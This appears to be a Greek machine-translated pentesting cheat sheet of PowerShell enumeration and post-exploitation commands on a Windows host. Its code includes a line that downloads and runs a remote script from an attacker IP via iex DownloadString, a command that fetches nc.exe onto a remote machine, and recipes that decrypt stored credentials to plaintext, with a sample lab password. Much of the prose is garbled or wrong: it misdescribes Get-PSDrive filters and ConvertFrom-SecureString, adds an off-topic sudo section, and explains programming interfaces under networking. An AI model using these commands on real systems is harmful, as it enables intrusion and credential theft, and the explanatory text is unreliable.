To check for other connected drives in PowerShell, you can use the following command:

Get-PSDrive

This command will display a list of all the drives currently connected to the system, including local drives, network drives, and mapped drives.

To filter the results and display only specific types of drives, you can use the -PSProvider parameter. For example, to display only network drives, you can use the following command:

Get-PSDrive -PSProvider "FileSystem"

This will show only the network drives that are currently connected.

You can also use the Where-Object cmdlet to filter the results based on specific criteria. For example, to display only drives that are currently in use, you can use the following command:

Get-PSDrive | Where-Object {$_.Used -gt 0}

This will show only the drives that have some data stored on them.

By using these commands, you can easily identify and manage the connected drives in your PowerShell environment.

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Κάδος ανακύκλωσης

Ο κάδος ανακύκλωσης είναι ένας χώρος στον οποίο αποθηκεύονται τα διαγραμμένα αρχεία στον υπολογιστή. Αυτός ο κάδος λειτουργεί ως ασφαλές αποθηκευτικό χώρος για τα αρχεία που έχουν διαγραφεί, επιτρέποντας στον χρήστη να τα επαναφέρει αν χρειαστεί. Ο κάδος ανακύκλωσης είναι ιδιαίτερα χρήσιμος για να αποφευχθεί η απώλεια δεδομένων από ακούσιες διαγραφές.

Όταν ένα αρχείο διαγράφεται, μεταφέρεται αυτόματα στον κάδο ανακύκλωσης. Ο χρήστης μπορεί να ανοίξει τον κάδο ανακύκλωσης και να δει τα διαγραμμένα αρχεία, καθώς και να τα επαναφέρει στην αρχική τους τοποθεσία. Επίσης, ο χρήστης μπορεί να αδειάσει τον κάδο ανακύκλωσης, διαγράφοντας οριστικά όλα τα αρχεία που περιέχει.

Για τους pentesters, ο κάδος ανακύκλωσης μπορεί να αποτελέσει μια πηγή πληροφοριών, καθώς μπορεί να περιέχει διαγραμμένα αρχεία που περιέχουν ευαίσθητες πληροφορίες. Οι pentesters μπορούν να εξετάσουν τον κάδο ανακύκλωσης για να ανακτήσουν αυτά τα αρχεία και να τα αναλύσουν για περαιτέρω εκμετάλλευση.

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

Ανακάλυψη Τομέα

pagePowerView/SharpView

Χρήστες

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

Ασφαλής συμβολοσειρά σε απλό κείμενο

Σε ορισμένες περιπτώσεις, μπορεί να χρειαστεί να μετατρέψετε μια ασφαλή συμβολοσειρά σε απλό κείμενο στην περίπτωση που χρειάζεστε να αποκτήσετε πρόσβαση σε αυτήν την πληροφορία. Μπορείτε να χρησιμοποιήσετε την εντολή ConvertFrom-SecureString στο PowerShell για να επιτύχετε αυτό.

Παρακάτω παρουσιάζεται ένα παράδειγμα χρήσης της εντολής:

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))

Στο παραπάνω παράδειγμα, η ασφαλής συμβολοσειρά "MySecurePassword" μετατρέπεται σε απλό κείμενο και αποθηκεύεται στη μεταβλητή $plainText. Μπορείτε να τροποποιήσετε το παράδειγμα ανάλογα με τις ανάγκες σας.

Είναι σημαντικό να σημειωθεί ότι η μετατροπή μιας ασφαλούς συμβολοσειράς σε απλό κείμενο μπορεί να αποκαλύψει ευαίσθητες πληροφορίες, επομένως πρέπει να χρησιμοποιείται με προσοχή και μόνο όταν είναι απαραίτητο.

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Ή απευθείας ανάλυση από XML φόρμα:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

Το SUDO είναι ένα εργαλείο που επιτρέπει σε έναν χρήστη να εκτελεί εντολές με δικαιώματα διαχειριστή. Αυτό είναι χρήσιμο όταν θέλουμε να εκτελέσουμε εντολές που απαιτούν ειδικά δικαιώματα, αλλά δεν θέλουμε να συνδεθούμε ως root χρήστης.

Για να χρησιμοποιήσουμε το SUDO, πρέπει να είμαστε μέλη της ομάδας sudoers και να έχουμε τον κωδικό πρόσβασης του διαχειριστή. Μπορούμε να εκτελέσουμε μια εντολή με το SUDO χρησιμοποιώντας την ακόλουθη σύνταξη:

sudo <εντολή>

Όταν εκτελέσουμε μια εντολή με το SUDO, θα μας ζητηθεί ο κωδικός πρόσβασης του διαχειριστή. Αφού εισαγάγουμε τον σωστό κωδικό πρόσβασης, η εντολή θα εκτελεστεί με δικαιώματα διαχειριστή.

Είναι σημαντικό να χρησιμοποιούμε το SUDO με προσοχή, καθώς μπορεί να προκαλέσει σοβαρές αλλαγές στο σύστημα μας. Πριν χρησιμοποιήσουμε το SUDO, πρέπει να είμαστε σίγουροι για τις ενέργειες που πρόκειται να πραγματοποιήσουμε.

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Ομάδες

Οι ομάδες στο PowerShell αναφέρονται σε συλλογές χρηστών ή υπολογιστών που μπορούν να χρησιμοποιηθούν για την οργάνωση και τη διαχείριση των δικαιωμάτων πρόσβασης. Οι ομάδες μπορούν να περιέχουν χρήστες, άλλες ομάδες ή και τα δύο.

Για να διαχειριστείτε τις ομάδες στο PowerShell, μπορείτε να χρησιμοποιήσετε τις εντολές Get-LocalGroup, New-LocalGroup, Add-LocalGroupMember, Remove-LocalGroupMember και Remove-LocalGroup. Με αυτές τις εντολές μπορείτε να δημιουργήσετε νέες ομάδες, να προσθέσετε ή να αφαιρέσετε μέλη από μια ομάδα και να διαγράψετε ομάδες.

Για παράδειγμα, η εντολή Get-LocalGroup επιστρέφει μια λίστα με όλες τις τοπικές ομάδες στο σύστημα, ενώ η εντολή New-LocalGroup δημιουργεί μια νέα ομάδα. Η εντολή Add-LocalGroupMember προσθέτει ένα μέλος σε μια ομάδα, ενώ η εντολή Remove-LocalGroupMember αφαιρεί ένα μέλος από μια ομάδα. Τέλος, η εντολή Remove-LocalGroup διαγράφει μια ομάδα.

Οι ομάδες στο PowerShell είναι ένα ισχυρό εργαλείο για τη διαχείριση των δικαιωμάτων πρόσβασης σε ένα σύστημα και μπορούν να χρησιμοποιηθούν από τους χάκερ για να αποκτήσουν πρόσβαση σε περιορισμένους λογαριασμούς ή να εκτελέσουν επιθέσεις μεγαλύτερης κλίμακας.

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Πρόχειρος Χώρος

Ο πρόχειρος χώρος (clipboard) είναι ένας μηχανισμός αποθήκευσης που χρησιμοποιείται για την ανταλλαγή δεδομένων μεταξύ εφαρμογών. Οι επιθέσεις που στοχεύουν τον πρόχειρο χώρο μπορούν να επιτρέψουν σε έναν εισβολέα να αντιγράψει ή να διαβάσει περιεχόμενο από τον πρόχειρο χώρο του θύματος.

Επίθεση Clipboard Hijacking

Η επίθεση Clipboard Hijacking εκμεταλλεύεται το γεγονός ότι ο πρόχειρος χώρος είναι προσβάσιμος από πολλές εφαρμογές. Ένας εισβολέας μπορεί να τοποθετήσει κακόβουλο περιεχόμενο στον πρόχειρο χώρο του θύματος, το οποίο θα επικολληθεί αυτόματα όταν το θύμα προσπαθήσει να επικολλήσει κάτι από τον πρόχειρο χώρο.

Επίθεση Clipboard Sniffing

Η επίθεση Clipboard Sniffing εκμεταλλεύεται το γεγονός ότι ο πρόχειρος χώρος μπορεί να παρακολουθηθεί από κακόβουλο λογισμικό. Ο εισβολέας μπορεί να καταγράψει το περιεχόμενο που αντιγράφεται στον πρόχειρο χώρο και να το αποθηκεύσει για περαιτέρω ανάλυση ή κακόβουλη χρήση.

Προστασία του προχείρου

Για να προστατεύσετε τον πρόχειρο χώρο σας από επιθέσεις, μπορείτε να λάβετε τα παρακάτω μέτρα:

  • Αποφύγετε την αυτόματη επικόλληση περιεχομένου από τον πρόχειρο χώρο.

  • Χρησιμοποιήστε λογισμικό που προστατεύει τον πρόχειρο χώρο από επιθέσεις.

  • Αποφύγετε την αντιγραφή ευαίσθητων πληροφοριών στον πρόχειρο χώρο.

  • Καθαρίστε τον πρόχειρο χώρο σας μετά τη χρήση.

Ακολουθώντας αυτές τις βασικές προφυλάξεις, μπορείτε να μειώσετε τον κίνδυνο επιθέσεων που στοχεύουν τον πρόχειρο χώρο.

Get-Clipboard

Διεργασίες

Οι διεργασίες αναφέρονται στα εκτελούμενα προγράμματα σε ένα σύστημα. Οι διεργασίες μπορούν να είναι ορατές και να ελέγχονται από τον χρήστη. Οι διεργασίες μπορούν να εκτελούνται σε πρώτο πλάνο ή ως υπόδειγμα άλλης διεργασίας. Οι διεργασίες μπορούν να έχουν πολλά νήματα που εκτελούνται παράλληλα.

Οι διεργασίες μπορούν να ελεγχθούν και να διαχειριστούν μέσω του PowerShell. Οι βασικές εντολές PowerShell που σχετίζονται με τις διεργασίες περιλαμβάνουν:

  • Get-Process: Επιστρέφει πληροφορίες για τις εκτελούμενες διεργασίες στο σύστημα.

  • Start-Process: Εκκινεί μια νέα διεργασία.

  • Stop-Process: Σταματά μια εκτελούμενη διεργασία.

  • Wait-Process: Περιμένει μέχρι η διεργασία να ολοκληρωθεί.

  • Invoke-Command: Εκτελεί μια εντολή σε μια απομακρυσμένη μηχανή.

Με τη χρήση αυτών των εντολών, μπορείτε να ελέγξετε και να διαχειριστείτε τις διεργασίες σε ένα σύστημα Windows.

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Υπηρεσίες

Εισαγωγή

Οι υπηρεσίες αποτελούν ένα σημαντικό μέρος του λειτουργικού συστήματος Windows και παρέχουν διάφορες λειτουργίες και δυνατότητες. Ωστόσο, ορισμένες από αυτές τις υπηρεσίες μπορεί να αποτελούν πηγή ευπάθειας και να εκτίθενται σε επιθέσεις. Σε αυτήν την ενότητα, θα εξετάσουμε ορισμένες από αυτές τις υπηρεσίες και τρόπους για να τις ασφαλίσουμε.

Απενεργοποίηση μη απαραίτητων υπηρεσιών

Μια από τις πρώτες πρακτικές για την ασφάλεια του συστήματος είναι η απενεργοποίηση των μη απαραίτητων υπηρεσιών. Αυτό μειώνει την επιθετική επιφάνεια του συστήματος και μειώνει τον κίνδυνο εκθέσεως σε ευπάθειες.

Για να απενεργοποιήσετε μια υπηρεσία, μπορείτε να χρησιμοποιήσετε την εντολή PowerShell Set-Service με την παράμετρο -StartupType Disabled. Για παράδειγμα, για να απενεργοποιήσετε την υπηρεσία "Print Spooler", μπορείτε να εκτελέσετε την εξής εντολή:

Set-Service -Name Spooler -StartupType Disabled

Μπορείτε επίσης να χρησιμοποιήσετε την εντολή Get-Service για να εμφανίσετε τη λίστα όλων των υπηρεσιών και την κατάστασή τους. Αυτό σας επιτρέπει να εντοπίσετε τις μη απαραίτητες υπηρεσίες που μπορείτε να απενεργοποιήσετε.

Αλλαγή των δικαιωμάτων υπηρεσιών

Επιπλέον, μπορείτε να ασφαλίσετε τις υπηρεσίες αλλάζοντας τα δικαιώματά τους. Μπορείτε να χρησιμοποιήσετε την εντολή PowerShell Set-Service με την παράμετρο -StartupType Manual για να αλλάξετε τον τρόπο εκκίνησης μιας υπηρεσίας σε χειροκίνητο. Αυτό σημαίνει ότι η υπηρεσία δεν θα εκκινεί αυτόματα κατά την εκκίνηση του συστήματος, αλλά μπορεί να εκκινηθεί χειροκίνητα όταν χρειάζεται.

Set-Service -Name ServiceName -StartupType Manual

Αυτή η πρακτική μειώνει τον κίνδυνο εκμετάλλευσης των υπηρεσιών που δεν χρησιμοποιούνται συχνά.

Απενεργοποίηση της υπηρεσίας Windows Remote Management (WinRM)

Η υπηρεσία Windows Remote Management (WinRM) επιτρέπει στους χρήστες να διαχειρίζονται απομακρυσμένα το σύστημα Windows. Ωστόσο, αυτή η υπηρεσία μπορεί να αποτελέσει ευπάθεια αν δεν χρησιμοποιείται και μπορεί να εκτεθεί σε επιθέσεις.

Για να απενεργοποιήσετε την υπηρεσία WinRM, μπορείτε να εκτελέσετε την εξής εντολή PowerShell:

Set-Service -Name WinRM -StartupType Disabled

Αυτό απενεργοποιεί την υπηρεσία WinRM και μειώνει τον κίνδυνο εκθέσεως σε επιθέσεις από απομακρυσμένους χρήστες.

Απενεργοποίηση της υπηρεσίας Remote Registry

Η υπηρεσία Remote Registry επιτρέπει στους χρήστες να αποκτήσουν πρόσβαση και να τροποποιήσουν το μητρώο του συστήματος απομακρυσμένα. Ωστόσο, αυτή η υπηρεσία μπορεί να αποτελέσει ευπάθεια αν δεν χρησιμοποιείται και μπορεί να εκτεθεί σε επιθέσεις.

Για να απενεργοποιήσετε την υπηρεσία Remote Registry, μπορείτε να εκτελέσετε την εξής εντολή PowerShell:

Set-Service -Name RemoteRegistry -StartupType Disabled

Αυτό απενεργοποιεί την υπηρεσία Remote Registry και μειώνει τον κίνδυνο εκθέσεως σε επιθέσεις από απομακρυσμένους χρήστες.

Get-Service

Κωδικός από ασφαλή συμβολοσειρά

Για να ανακτήσετε έναν κωδικό από μια ασφαλή συμβολοσειρά στο PowerShell, μπορείτε να χρησιμοποιήσετε την εντολή ConvertFrom-SecureString. Αυτή η εντολή μετατρέπει την ασφαλή συμβολοσειρά σε μια συμβολοσειρά που μπορεί να διαβαστεί.

Παρακάτω παρουσιάζεται ένα παράδειγμα χρήσης της εντολής:

$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$password = ConvertFrom-SecureString -SecureString $secureString
Write-Output $password

Στο παραπάνω παράδειγμα, η ασφαλής συμβολοσειρά "MySecurePassword" μετατρέπεται σε μια αναγνώσιμη συμβολοσειρά και αποθηκεύεται στη μεταβλητή $password. Στη συνέχεια, ο κωδικός εμφανίζεται στην έξοδο.

Μπορείτε να χρησιμοποιήσετε αυτήν τη μέθοδο για να ανακτήσετε κωδικούς από ασφαλείς συμβολοσειρές που έχουν αποθηκευτεί στο PowerShell.

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Προγραμματισμένες εργασίες

Οι προγραμματισμένες εργασίες είναι μια λειτουργία του λειτουργικού συστήματος Windows που επιτρέπει την αυτόματη εκτέλεση ενός προγράμματος ή ενός σεναρίου σε συγκεκριμένες χρονικές στιγμές ή με βάση συγκεκριμένα γεγονότα. Οι προγραμματισμένες εργασίες μπορούν να χρησιμοποιηθούν για την αυτοματοποίηση εργασιών, όπως η δημιουργία αντιγράφων ασφαλείας, η εκτέλεση ενημερώσεων λογισμικού ή η εκτέλεση εντολών συστήματος.

Για να διαχειριστείτε τις προγραμματισμένες εργασίες στα Windows, μπορείτε να χρησιμοποιήσετε το PowerShell. Το PowerShell είναι ένα ισχυρό εργαλείο για την εκτέλεση εντολών και σεναρίων στο λειτουργικό σύστημα Windows.

Για να προβάλετε τις προγραμματισμένες εργασίες στο PowerShell, μπορείτε να χρησιμοποιήσετε την εντολή Get-ScheduledTask. Αυτή η εντολή θα επιστρέψει μια λίστα με όλες τις προγραμματισμένες εργασίες στο σύστημα.

Για να δημιουργήσετε μια νέα προγραμματισμένη εργασία στο PowerShell, μπορείτε να χρησιμοποιήσετε την εντολή New-ScheduledTask. Θα πρέπει να καθορίσετε το όνομα, την ενέργεια και τον προγραμματισμό της εργασίας.

Για να εκτελέσετε μια προγραμματισμένη εργασία στο PowerShell, μπορείτε να χρησιμοποιήσετε την εντολή Start-ScheduledTask. Αυτή η εντολή θα εκτελέσει αμέσως την επιλεγμένη εργασία.

Για να απενεργοποιήσετε μια προγραμματισμένη εργασία στο PowerShell, μπορείτε να χρησιμοποιήσετε την εντολή Disable-ScheduledTask. Αυτή η εντολή θα απενεργοποιήσει την επιλεγμένη εργασία, εμποδίζοντας την αυτόματη εκτέλεσή της.

Για να ενεργοποιήσετε μια προγραμματισμένη εργασία στο PowerShell, μπορείτε να χρησιμοποιήσετε την εντολή Enable-ScheduledTask. Αυτή η εντολή θα ενεργοποιήσει την επιλεγμένη εργασία, επιτρέποντας την αυτόματη εκτέλεσή της.

Για να διαγράψετε μια προγραμματισμένη εργασία στο PowerShell, μπορείτε να χρησιμοποιήσετε την εντολή Unregister-ScheduledTask. Αυτή η εντολή θα διαγράψει οριστικά την επιλεγμένη εργασία από το σύστημα.

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Δίκτυο

Σάρωση Θυρών

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

Διεπαφές

Οι διεπαφές είναι ένας τρόπος για να οργανώσετε τον κώδικά σας και να ορίσετε συμβατότητα μεταξύ διαφορετικών κλάσεων. Μια διεπαφή ορίζει μια συλλογή από μεθόδους που μια κλάση πρέπει να υλοποιήσει. Οι κλάσεις μπορούν να υλοποιήσουν πολλές διεπαφές, προσφέροντας έτσι τη δυνατότητα να έχουν πολλαπλή κληρονομικότητα.

Για να ορίσετε μια διεπαφή στη γλώσσα προγραμματισμού, χρησιμοποιείτε τη λέξη-κλειδί interface. Μια διεπαφή μπορεί να περιέχει μόνο μεθόδους χωρίς υλοποίηση, καθώς και σταθερές και ιδιότητες. Οι κλάσεις που υλοποιούν μια διεπαφή πρέπει να υλοποιήσουν όλες τις μεθόδους που ορίζονται στη διεπαφή.

Οι διεπαφές είναι χρήσιμες για την αφαίρεση και την αντικατάσταση κώδικα, καθώς μπορούν να χρησιμοποιηθούν για να ορίσουν τις απαιτήσεις μιας κλάσης χωρίς να απαιτείται η γνώση της υλοποίησής της. Επίσης, επιτρέπουν τη δημιουργία πολυμορφικού κώδικα, καθώς μπορείτε να χρησιμοποιήσετε μια διεπαφή για να αλληλεπιδράσετε με διάφορες κλάσεις που υλοποιούν αυτήν τη διεπαφή.

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Τείχος Προστασίας

Ένα τείχος προστασίας είναι ένα λογισμικό ή υλικού που χρησιμοποιείται για να προστατεύσει ένα δίκτυο από ανεπιθύμητη πρόσβαση. Το τείχος προστασίας ελέγχει την εισερχόμενη και εξερχόμενη κίνηση δεδομένων, επιτρέποντας ή αποκλείοντας την πρόσβαση ανάλογα με τους καθορισμένους κανόνες ασφαλείας.

Στο πλαίσιο της υποκλοπής, ένα τείχος προστασίας μπορεί να αποτελέσει ένα εμπόδιο για τον χάκερ, καθώς μπορεί να αποκλείσει την πρόσβαση σε ευάλωτες υπηρεσίες ή να περιορίσει την εξερχόμενη κίνηση δεδομένων που μπορεί να χρησιμοποιηθεί για την εκτέλεση επιθέσεων.

Για να παρακάμψετε ένα τείχος προστασίας, μπορείτε να χρησιμοποιήσετε τεχνικές όπως η εκμετάλλευση ευπάθειας του πρωτοκόλλου, η χρήση προσβάσεων από προηγούμενες παραβιάσεις ή η χρήση κακόβουλου λογισμικού για να ανοίξετε μια πίστα μέσα από το τείχος προστασίας.

Για να προστατευθείτε από τις επιθέσεις που στοχεύουν το τείχος προστασίας, μπορείτε να εφαρμόσετε μια σειρά μέτρων, όπως η ενημέρωση του τείχους προστασίας με τις τελευταίες ενημερώσεις ασφαλείας, η περιορισμένη πρόσβαση σε ευάλωτες υπηρεσίες και η χρήση πολυπλοκότητας στους κανόνες ασφαλείας για να δυσκολέψετε την ανακάλυψη των ευπαθειών.

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Δρομολόγηση

Η δρομολόγηση είναι μια σημαντική διαδικασία στο χώρο του χάκινγκ. Αναφέρεται στην ικανότητα ενός χάκερ να ανακατευθύνει την κίνηση δεδομένων από ένα δίκτυο σε άλλο. Αυτό μπορεί να γίνει για πολλούς λόγους, όπως για την απόκτηση πρόσβασης σε ευαίσθητες πληροφορίες ή για την απόκρυψη της ταυτότητας του χάκερ.

Οι χάκερ μπορούν να χρησιμοποιήσουν διάφορες τεχνικές για να επιτύχουν τη δρομολόγηση. Μια από τις πιο δημοφιλείς τεχνικές είναι η χρήση της γλώσσας PowerShell. Η PowerShell είναι μια ισχυρή γλώσσα προγραμματισμού που επιτρέπει στους χρήστες να εκτελούν εντολές και να αυτοματοποιούν διάφορες εργασίες στο λειτουργικό σύστημα Windows.

Οι χάκερ μπορούν να χρησιμοποιήσουν την PowerShell για να δρομολογήσουν την κίνηση δεδομένων μέσω του δικτύου. Αυτό μπορεί να γίνει με τη χρήση εντολών όπως η New-NetRoute και η Set-NetRoute. Με αυτές τις εντολές, ο χάκερ μπορεί να προσθέσει, να τροποποιήσει ή να διαγράψει δρομολογήσεις στο σύστημα.

Η δρομολόγηση μπορεί να είναι μια ισχυρή τεχνική για τους χάκερ, καθώς τους επιτρέπει να αποκτήσουν πρόσβαση σε ευαίσθητες πληροφορίες ή να αποκρύψουν την ταυτότητά τους. Ωστόσο, η χρήση της δρομολόγησης για παράνομους σκοπούς είναι παράνομη και αυστηρά απαγορευμένη. Είναι σημαντικό να τηρούνται οι νόμοι και οι κανονισμοί κατά την εκτέλεση δρομολόγησης.

route print

ARP

Το ARP (Address Resolution Protocol) είναι ένα πρωτόκολλο που χρησιμοποιείται για την αντιστοίχιση της διεύθυνσης MAC (Media Access Control) με τη διεύθυνση IP σε ένα δίκτυο. Αυτό το πρωτόκολλο επιτρέπει στις συσκευές να επικοινωνούν μεταξύ τους σε ένα τοπικό δίκτυο.

Όταν μια συσκευή χρειάζεται να στείλει ένα πακέτο δεδομένων σε μια άλλη συσκευή στο ίδιο δίκτυο, αρχικά ελέγχει τον πίνακα ARP της για να βρει την αντιστοίχιση της διεύθυνσης IP με τη διεύθυνση MAC της συσκευής προορισμού. Αν η αντιστοίχιση δεν υπάρχει στον πίνακα ARP, η συσκευή αποστέλλει ένα ARP αίτημα σε όλες τις συσκευές στο δίκτυο, ζητώντας την αντιστοίχιση της διεύθυνσης IP με τη διεύθυνση MAC της συσκευής προορισμού. Η συσκευή προορισμού απαντά με ένα ARP απόκριση, παρέχοντας την αντιστοίχιση των διευθύνσεων.

Οι επιθέσεις ARP μπορούν να χρησιμοποιηθούν από επιτιθέμενους για να παραβιάσουν την ασφάλεια του δικτύου. Μερικές από τις επιθέσεις ARP περιλαμβάνουν την ARP Spoofing, την ARP Cache Poisoning και την ARP Flooding. Αυτές οι επιθέσεις επιτρέπουν στον επιτιθέμενο να παραπλανήσει τις συσκευές στο δίκτυο και να παρακολουθήσει, να καταγράψει ή να αλλοιώσει την κίνηση δεδομένων.

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Κεντρικοί Υπολογιστές

Οι κεντρικοί υπολογιστές (hosts) αναφέρονται σε υπολογιστές ή συσκευές που είναι συνδεδεμένοι σε ένα δίκτυο. Οι κεντρικοί υπολογιστές μπορεί να είναι διακομιστές, υπολογιστές πελατών ή άλλες συσκευές που επικοινωνούν μεταξύ τους μέσω του δικτύου.

Στο πλαίσιο της ασφάλειας, οι κεντρικοί υπολογιστές μπορούν να αποτελέσουν σημεία ευπάθειας για επιθέσεις. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τις αδυναμίες των κεντρικών υπολογιστών για να αποκτήσουν πρόσβαση σε ευαίσθητες πληροφορίες ή να προκαλέσουν ζημιά.

Για να προστατεύσετε τους κεντρικούς υπολογιστές σας, μπορείτε να εφαρμόσετε μέτρα σκληρυνσης, όπως τη ρύθμιση αυστηρών πολιτικών ασφαλείας, την ενημέρωση του λογισμικού με τις τελευταίες ενημερώσεις ασφαλείας και τη χρήση ισχυρών κωδικών πρόσβασης.

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Πινγκ

Η εντολή ping χρησιμοποιείται για να ελέγξετε τη συνδεσιμότητα μεταξύ ενός πηγαίου υπολογιστή και ενός προορισμού στο δίκτυο. Αποστέλλει ένα μήνυμα ICMP Echo Request στον προορισμό και περιμένει για την απάντηση ICMP Echo Reply. Αυτό μπορεί να χρησιμοποιηθεί για να ελέγξετε αν ένας υπολογιστής είναι προσβάσιμος στο δίκτυο και για να μετρήσετε τον χρόνο απόκρισης.

Για να χρησιμοποιήσετε την εντολή ping στο PowerShell, απλά πληκτρολογήστε ping ακολουθούμενο από τη διεύθυνση IP ή το όνομα του προορισμού. Για παράδειγμα:

ping 192.168.1.1

Αυτό θα στείλει ένα μήνυμα ICMP Echo Request στη διεύθυνση IP 192.168.1.1 και θα εμφανίσει την απάντηση ICMP Echo Reply, αν υπάρχει.

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

Το SNMP (Simple Network Management Protocol) είναι ένα πρωτόκολλο δικτύου που χρησιμοποιείται για τη διαχείριση και παρακολούθηση συσκευών σε ένα δίκτυο. Με τη χρήση του SNMP, μπορείτε να ανακτήσετε πληροφορίες για την κατάσταση, την απόδοση και την ασφάλεια των δικτυακών συσκευών, όπως δρομολογητές, διακομιστές και εκτυπωτές.

Το SNMP λειτουργεί με την ανταλλαγή μηνυμάτων μεταξύ ενός διαχειριστή και των δικτυακών συσκευών. Ο διαχειριστής αποστέλλει αιτήματα στις συσκευές για να ανακτήσει πληροφορίες ή να εκτελέσει ενέργειες, ενώ οι συσκευές απαντούν με απαντήσεις που περιέχουν τις απαιτούμενες πληροφορίες.

Οι πληροφορίες που μπορείτε να ανακτήσετε μέσω του SNMP περιλαμβάνουν την κατάσταση των διεπαφών δικτύου, την κίνηση των δεδομένων, την κατάσταση της μνήμης και την απόδοση των εφαρμογών. Μπορείτε επίσης να εκτελέσετε ενέργειες όπως την επανεκκίνηση μιας συσκευής ή την αλλαγή των ρυθμίσεων.

Ως πεντεστέρ, μπορείτε να χρησιμοποιήσετε το SNMP για να ανακτήσετε πληροφορίες για το δίκτυο και τις συσκευές του, καθώς και για να εκτελέσετε ενέργειες που μπορεί να σας βοηθήσουν στην αξιολόγηση της ασφάλειας και της απόδοσης του δικτύου.

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Μετατροπή του SDDL String σε αναγνώσιμη μορφή

To convert the SDDL string into a readable format, you can use the ConvertFrom-SddlString cmdlet in PowerShell. This cmdlet allows you to convert the Security Descriptor Definition Language (SDDL) string into an object that can be easily understood.

Here is an example of how to use the ConvertFrom-SddlString cmdlet:

$sddlString = "O:BAG:BAD:(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x7;;;WD)"
$securityDescriptor = ConvertFrom-SddlString -Sddl $sddlString
$securityDescriptor

This will output the converted security descriptor object, which will provide a more readable representation of the SDDL string.

Keep in mind that the SDDL string represents the security descriptor of an object, such as a file, folder, or registry key. By converting it into a readable format, you can easily understand the permissions and access control settings associated with the object.


